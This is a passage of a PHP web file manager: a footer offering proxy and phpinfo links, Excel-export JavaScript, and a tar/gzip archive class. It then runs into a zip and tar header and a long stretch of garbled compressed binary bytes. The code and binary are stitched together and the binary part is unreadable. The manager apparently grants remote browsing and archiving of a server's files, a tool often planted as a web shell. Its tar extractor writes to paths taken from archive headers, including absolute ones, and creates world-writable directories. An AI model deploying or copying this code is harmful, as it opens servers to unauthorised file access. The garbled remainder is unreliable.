	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK���Z���


931753.tarnu�[���load.txt.txt.tar.gz000064400000063115150425251240010254 0ustar00��ks#I���l��Ylvh�H�d�5�$��*�2���3$�=e6+�Jg�w&�Nf�ݝN:��k%�jG��ٿP��K.<"�$HV�̮t��.�����������`6ؾ0���l�n6�����&��&�x4�Nf\߿ڮ��O�	��X$�E�@����p,�D���Dc!&�����r�)�ɿ���;�Qxn0����2Tg���v��H��p$!�B�#q�>��M$����]@���ɠϨ�LJ�pH��g,k�,|~��^��߾�{_�~����0MUS����+E`��_�e�gQ>�"%/Uq9�A��MY	�Nę5�[��� K*�1��W��Y��K�|-s+s k����䁴�uJ�^1�N�$���4p�;��ʡ��b���N{�(�xa����J��VU�8y������(}!O�'[(;@Ź��$��-��H��r��TR��v#e����9�XKRO���~`G����5u�H�9���*U�E���i9�4�F�pz��K�� |�t$4D�"7j��Q�pm�_A໼�P�ʩ���ṖSN�yNR8TR}U�i��4YR�,"̥���Zk�t�H�@�9h��ѓ��hP�֌�ִɒ��JS,5`|�F�ܳ���@ot�I���X�4	�J<��d�EE�k��Q+O��)>�>f�-x#(�}�ͥ�%�'���>�d4�8�pߓ����<��QT,D��֊ֳ�k�}�<��[K;ͷ}�+��q����o��ľ�ɢ:�!&�>y.���p��u�&��$)���H&EN�$�[��cW?�5���O4d(Oʸ�����\"V������2]F�g�0���gP��{"�nT� �p�G��iB��ݧo�z%_�Vr���p��2��GJ�̉�e��0}�T]������>�����?~������2���F�#�C�g����HkUd��F�&�}"�����@������"���>�����g>����?��;��?��;�5��/��_���������?����7(�o>�}t��ӏ���O>�A���ߡ6^�����!�e~��Q���פ�Z"���!���_#ȿC�\'��O?�G�W��_�b�U�'�K �_�&P��@i5��+��ߨ��?�9���4A�~�?0�+D�� ����]�#`����l���h�ߡ�	���48�A�G� 
�4IY(�CHM~�2�(��̟C�8e"���"$��2�`�oP�?��u�x��Ŀ�R��YX�����,~�iH��~���c��0���M���Tk 1M��K�7x����@rZ ��B�[i��&c���	����!���s���_c�0����A��~�&�o0*֕*�;�W�ʏ���0t��̪W!r�4����@
�11S/7�-������(]�?�����b�1�(��&�B<�=KP�9&ҿ#m���P�_Y��R8�j$�J��I/��K4�_#��	�Rdj�%�a��;E^����̀3��1�]��A��GX����@*Ul>����B �#�xT�
F�?R����[Ŕz�Ɂ��)�P��.L�_�A��f�K)#R��'a�e�c��1��|<��|�`�Ҩ����}���_��%$*qU̟���3�!�DYS���eO��B:�k*Mm���)�9���;a�Bm,��e�����R���!�+���y��,:�`@ELf2~�֑b9[;�èA�
�WN�Bq�r��#�B[?���E�e�
3);E���A��ˬ��C�2�1;u��l7�:�3^��<��)���r�E{^�Q̭���A
^�((���ᗤ5^[�eF����=�+<KeL<p9����@/�=���_��V�f;2�aԧ�N��,�%�_�rI��j�M(	�?G4�k��0)l��d,�-�_�im����aH��2�,��@!���M���^A��>��Z�D�G�2�r�Wx\���ĐF��O�h�ʭ��׀�uZ2��07���7�j��H�^�a��F�v�
Bkn�)~�N���LRD�Ea[�g��\�_(n��1;���!���\�4��~d��P6#��ʂ O�.�s�\��Z(��R@�[�ۓ�5���I��S��)4r��.Hw}�0��RX4��v�]��~X�X���B<3G����Ţ_8�����!�y��+�
��Y�Ho�6;y2���^�-(Fh7�F���N���6�oO=�w�g�Xʚ���(�K��XչX��r�RF�I��AQD�K�%��rP*�T���Ġ?rI�ݦ�R�*���͡a�[|��߻���#���H����xV�`����n�a�m@�
y��N���N����I�皼`����r�9�l�^�qa�	9�o�����c�e)��a��
���rіij���R����,����-Ќ���T�tUIBK4�N*h��K�t!�����ĵC�Փ�^���k̷>29e�Rt/���N9"Z���`8O*�H꒖�2�m,^��?�g����r
P�n���Д:��{ۤM,~�V�ЮۑQu%Y�Vv-
#Mm�qKs��3�Y�� Uh��em͋����̂<o�3��IA+��������'{xPz�ܒw�k�=q��>�3�#>��d�Q��+�\�n}���ӝv��0�`�aZw`�;`gEA��"�*k����էM�XhuaN���&
+�����P&��n#-_��}Y��j�N�"��=�D(�ؐ%p���Q�OtQ�K���w���$f&�#D[Gݶ��7�H��b#��u���<Uj��M��[I�
�VD*�0h:�~����u*�4��2>L�ZZ�H�٠�N������ed�!)H̑��"8\F�Kk�Ct&��h���3A���Q����|R�d�ےϟ�7�B�>1:�a�1�	|a���8D�b$��4E�|ǘE/�2���T8��bS8,vKC݀q��߻T�,��2�C��z�:�	O�Z�E��$�� ��+UZf �h>�'�u���c �H��dm3Y�%�u!���'�����Std<�԰��?�8e��"Py�Ey�����OD��SSO]�>�w߄��q0���F;�e�C.�z*��Z�QG�ڵt�Af���r5w���S��m<=�bdׁJ�e��Zi�T�o,��� ~|��q}��é��;χ��>�.�GM�߸�"�VZ��eЩ���A��
��n'g�0���.��߅6?>�3�>�7&Fo�@�>�n�x�t����vY�o.
��	Y,��6C��i����`��H����$����SJ�>��P���{�9��	��Oa�Z*~�ՒfCo��\� �h��']���%}A��XS�<������PqA-�x��h�t6��:X�«��5Bэi��M�@_�E� �;fZI~�v6����B
�!�c.sf�T�� �e!�J �MghMј7h��wAk�7�e��t�=م��Q4kK6q�q�vfl��Z�NS�����,ƣ�p�l%��M^��b��ש�e2�H�0�li�4>��%�x��b�i���<�Օ񑐌es�|�HD��D�����*&���d7�5u�v0��P{`����*��&vP�ρ���b6PU��o��̑2i8{`����;��s�B&��
XM_Ŝ1�?4h
ڀ6��4�S{�X�
�(\�?��E�(�f�:���J
-���
�@Px��:.�Ԟ�,|zP6� eG�)��(ߞ��͉���x����rz;��MK��gZ
}Ao�_Л@©7���&r�7���-�k5��B_Л�SoBQ�����ޠR�Z-^RQj�h�GʵD�(Ҁ�M�X�H���� Y����^�M����+*|��#�B��!H��`%�%�H6��h	��0S����r�~v����~B�#��.��W;�_8����G�	{�c���		Z[�i�������#`(kn���IxGl�r�e� ��]�@)04� �M34^�H5�Q�[��F��y�U:^V3(�i�ۮM�>�:��M謋@\Jڈ
��m�3y�6,bT�c�j�\���m+cU�D�'kܪ����y]{��B��,I�;�~��W��o`q�/6����0󓞂��zh��.��;W�~�R}��z<Z�s4�y��Z/�SW����1�0g��p�;e�8��*�JZ_0@<x�e��	�/�,���v{�Aq���sI�$E�0h+��w?ݙ��^�=����1��މ�u�Y*<�z�=s�DܟP`����E���u���QG�J�
H�B{n�f"фIחs���P��PW�$�6�0�@�I����:�T���r�,
ċ��K�֚>��G@�� l�%���ּ7���u��x�
OMc�B=ݖ@᫽�D�ݵy{�"���c6��%��Z�{[�I�Y7��<~�w�L�]vf�y���_�50�^�������9݅���[z-�X7sy��ۯ�!P�;D4��~�2�u�
�G�|^��`��e���)�&�
�#�\�=�7WW��p.u�_��1��Y+�IT�/��a�Gk�_ߏb|�W<-٤2���r6�6�ZYo���q���h	 ]۶VV��>�U�(��Ke�ÛU����3��u�?q����d�X�9�(m�����G_�I#�߇u�f��
n���זᇌ���>���zC�7�5p�X�>�Ɓ�:D�&@!Ce1��c����cf��kh���&	C��A��	�-�Y�N�DI0�����A�:��#��n�1����](J���p1�US7��`B�-C�,FPH�Y��v<��񁉞I��Ov㍅}��}9Y�/1J�
1O�4'Ք�nV��;���3L�3I��Du��5��΀IIJ�∤.��;�EI����~+3kAY^��C�5�w]����n�&��S���X�	%]�Ϥɷ�|�r��&�u�c��}���N��DE��@w���<��8�:�?��	(��+�[���e���n����:��s鮖�Ԓ�uM
�e	�k��X�dۘ���و��A�x��:M���-.AtW�%O��"����)Rx�SF�`�NO�Q�o	��m�Bg03�~�.<<G`_�.��tf?�+���4����/b�+�甁�N��p�fzp�L�]�n��I=l�&���b��Bه�P^����^��O�^����/�W�'>�/�l����o����%U�緰�١t:���zy��$,�~0��H$�A:�X�.ǭto�Cۍ=t��c�8��p"�v����2�HM��	{��eV��=jkg4I�(�X�Ekf?��!���i�)2�~��=�B�8� ���ƞ�A�484nۉ�y�Ą�)#f7AUT�q�ş㣏��1\9�L_�üŌ��"�t��
Z�"L��I��:�'�i�ĸ�k���5�LhNW��A;�*�G����Vn"��,�L���i���9���oZ�ʮW?�-���B֑���mG�B��&�]���RAz�l~n)ogb���q�I�?^��ڗ{*��p1��,��U<�\��u(k&=k<9�w�ὼM�w�E�h0�{�&�k8#ø`��s/-��U���_Pt�LJ�M�E��$!���`�#&T��bv�I������N/����RU�h��9!ʊ��e_��p�C�#m���r��e��9
3JrSPڞ� �MQ����6�D����$a7�{as���A�F�32~W����(P��G� �t��m���L3�~d@��Ÿ�mm!�T0�2����h ���
!'�n2��v.�c�'���Q���QȑҎCU�6*�m�y�lm�$,C,,J�+���g*B%pɠ�o ���mE��C�j�r�l�i��i]�b�[h��.�t�js�l��� DN�������iLSuC�����\C���X<�,���~���bsiR[�S�%��u�m��yp�Ϭ�退�"�R��������o*�|���B���H��X|�2ߨ�)q@��,VD1���ɯ�M��ě�.i؜�ځ��t�;_<ݟ��:��#��'G�gh�������y�4Z��O7-�"��gI���0�]<W����	J�<;���oz��2���.�Q�+�J��R��H>��X["p��{[���;R��0@���U��y	�S���Ɓ�C����ݥۭ����Ԣ��7]���xWN�d裱����1�H��$�㲠�6�*!5�~�T��>�p?�+'��<�+�dY�ą������	�o��ظ��}$|������h.��>�
x���Z{��ޙ&�>�"�����
[f6A"M%`)��4��F`���d����;
�2�ú���e���-_���.�
���c��9�5�K���Zv5�^3O�Jv��9���髞�;�Z�N�g&f�=��I��+����aX��h��%��6lŖ�"er&�`��HL
u�z2���w�p�4���~�;T��Nf�pji���S�������H>�	�?��{�s�[ ��`B���րl���np�1�5^�`fh���
�qp�1���a!sH��}̽�
I�X���}	5ghW��A�Y�c=�f
�C�p
�"�����P�j�h̭{h��γ-�  ��U������\��PAs��5S��	l�[]�����j:;
tZ+��~R�ºQX�OU�Z��*���f�y�Pm-��B�R����ˠ�U6�of��2���7<�~�| 4��Q,��6�p(����zE�K��$����>��~�7gZ8����1��﫡�J�nV(k�
r��V���4�6�8p����J�(��H^�Ȉ��Plp���J�XAO��dQ�V�-��E�~Y����+5T\yo6�A��uw�Y)Y`�fٕj^)�	o�;6�6%>X(���ƊJ-�i삡��AhW�������:��U�-7P���E-ޮ��2_�Ï�1.���hqyX��wE^Lp���L��X����q��oF�❔H�2�Q��n��<���Yh���A�#�j��ܮ�7%Aˏ���!����i�?�W{A���v}u+���|��$P��d�XD�߲�w�]�$!�/�=9�Y�>,��ފMTE6.ݲ������.�حr�~w�*>��հ�Xj�A��nP'�P���n��	6��n{�P-�
�y��X	NF�����^�.�Ty�tR�~'�M�nc�rÉ��4$q�4��ϼ�a9[Bx���@p�x1�uƛA�E��ut����]d����[6�oF��$ �z�|$��)�K-����
��X9���q<��F�zC��2K`��8P�F��~*��bsր^��bi�L
�\6\�{�*��vz��
M*�.�®�.�k��m!B��)f�B(U�dJ%��6�diZ/m��V9;~T5Uz��!�(�L���fB��H�J�]?_��kWA��ʱ�ԣ��&�d��ͬW��O�3û�}���:�l,�7��4��W2�|a��Wr�)��S�"�]��PV���,V�f��R�.��f�ĸ�m��n}��
��F��A>���͑b��R��X7 �{w��&��C��maX�ʽ�8z\��:���h���i�'\A�LJ�~����Hh=�Dk՛�4�Ԅ�7[��JX|V��hC�>�V��+�rb�hפ�x��A�;��J�4_+����099�w����z+	�o�3GY��A�^�%ˏ���3��N`�pc��fV#��n�b[���R�#���0�`���)�wp��S�KVZ�abFks�V�g
��9�����������	�ģu�m�4�7�l׫r�{��uY�8@'�u]>+Go�b��ћ0��G�>ݤ����<����4���S3���d��M6�O;��Tw7r�?�D�vh�G[�'�W���.#�q���r����}v`�����3�5z�����p��h�r؛�PA>���Z�*�{g�x�m`g?z�m���ǡ�oŞ��3�8���n�N�Y({}|<��o�=#1Lێ�=z5M7��2n��֨����a�a����x�pu��S�v��O�PDV�_](�(�~�����3�z=E ��V	�)
,E�J����p�I9�=�T�b�q��l���v}'�z�.��;�ϸ�"��3ȼ���j�߻P"�;���Y�x�H��h���{5���Z�34"���,|s���eJ݅;e|!�Օ��o�å���Ҷى�^&z�A�U�q�p|�r$��e0C/��LU:T��58�Ɉ�3B+�" �M3��m�H��D?e3/�AH"�KVoP낊f
E�q�2��	�5Z"�x���|@[z̴�Q�;T����
\qi�,:����tF�R���9�T�~A�&��/Hԥ��2	%��k�o��$�ܨ
?1V~·.��P�i�cOr�f�g?��HB�v\��L���w��H��!��L;��d[���lh�C*�q�9��*�(��E�a�xExNM�-&N 1(�ɠ��*F��\pG�Nu`z}�P`�j�k�Vi�5c�.����-�4'�z6�$�oj,s�"�pR
���\5���fo�F_���ku�8�$l��L�5�Z
